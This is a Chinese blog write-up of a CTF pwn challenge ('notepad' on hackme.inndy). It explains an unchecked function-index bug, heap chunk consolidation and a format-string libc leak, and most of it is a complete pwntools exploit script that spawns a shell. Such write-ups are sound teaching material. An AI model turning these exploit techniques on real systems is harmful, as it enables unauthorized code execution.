hackme inndy pwn notepad writeup

原创

charlie_heng 于 2018-01-03 19:08:41 发布 312 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/78964461

做完这题就剩下最后一题了。。。。

这题其实还是有点难度的

先说下这题的漏洞在哪里

在notepad_open这个函数里面，读取要执行哪一个函数的时候，没有验证范围，所以可以输入比a小的字符，执行上一个堆里的某个指针

但是有了这个漏洞，怎么利用呢？参数只能是当前堆

想了半天，终于想出来了

先new 4个small bin，然后用这个漏洞free掉第三个堆，再用它给的delete note来free掉第二个堆

这个时候两个堆就合并了

再new 一个两个堆合并后大小的堆

这个时候就能随便改第三个堆的内容了

然后用格式化字符串漏洞来泄漏libc地址

求出system的地址，再把第三个堆的开头设为/bin/sh，调用system(‘/bin/sh’) 成功get shell

下面是利用的代码，最后要手动输入 b 2 _ ，也就是open第二个note，选择函数那里输入 _

```
from pwn import *
import time

debug=0

context.log_level='debug'

if debug:
    p=process('./notepad')
    e=ELF('/lib/i386-linux-gnu/libc.so.6')
    #gdb.attach(proc.pidof(p)[0])
    #raw_input()
else:
    p=remote('hackme.inndy.tw', 7713)
    e=ELF('./libc.so')
```

```python
e=ELF('./libc.so')


p.recvuntil('exit\n::> ')
p.sendline('c')
p.recvuntil('::> ')

def new_note(size,content):
    p.sendline('a')
    p.recvuntil('size > ')
    p.sendline(str(size))
    p.recvuntil('data > ')
    p.sendline(content)
    p.recvuntil('::> ')

def open_note(index,fun_index,content=''):
    p.sendline('b')
    p.recvuntil('id > ')
    p.sendline(str(index))
    p.recvuntil('(Y/n)')
    if len(content)!=0:
        p.sendline('y')
        p.recvuntil('content > ')
        p.sendline(content)
    else:
        p.sendline('n')
    p.recvuntil('b> destory note\n::> ')
    p.sendline(chr(fun_index+97))
    leave_msg='note closed'
    data=p.recvuntil(leave_msg)[:-len(leave_msg)]
    p.recvuntil('::> ')
    return data

def delete_note(index):
    p.sendline('c')
    p.recvuntil('id > ')
    p.sendline(str(index))
    p.recvuntil('::> ')

printf_got=0x0804B00C
printf_plt=0x8048506
free_plt=0x8048510
put_plt=0x08048570
pebp=0x80492AB

new_note(60,'123')
new_note(60,'123')
new_note(60,'123')
new_note(60,'123')

open_note(1,0,'a'*52+p32(free_plt)+p32(put_plt))
open_note(2,-3)
delete_note(1)
new_note(136,'123')

open_note(1,0,p32(printf_got)+'a'*52+p32(printf_plt)*2+'AAAA'+'%11$s')
printf_libc=open_note(2,-2)[4:8]

import struct
```

```
    printf_libc=struct.unpack('<L',printf_libc)[0]

    base=printf_libc-e.symbols['printf']

    system=base+e.symbols['system']

    open_note(1,0,'a'*56+p32(system)*2+'/bin/sh\x00')

    p.interactive()
```